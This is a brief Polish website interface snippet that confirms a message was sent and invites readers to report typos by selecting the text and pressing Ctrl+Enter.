Dziękuję Ci. Twoja wiadomość została wysłana
Znalazłeś błąd w tekście?
Wybierz, kliknij Ctrl+Enter a my to naprawimy!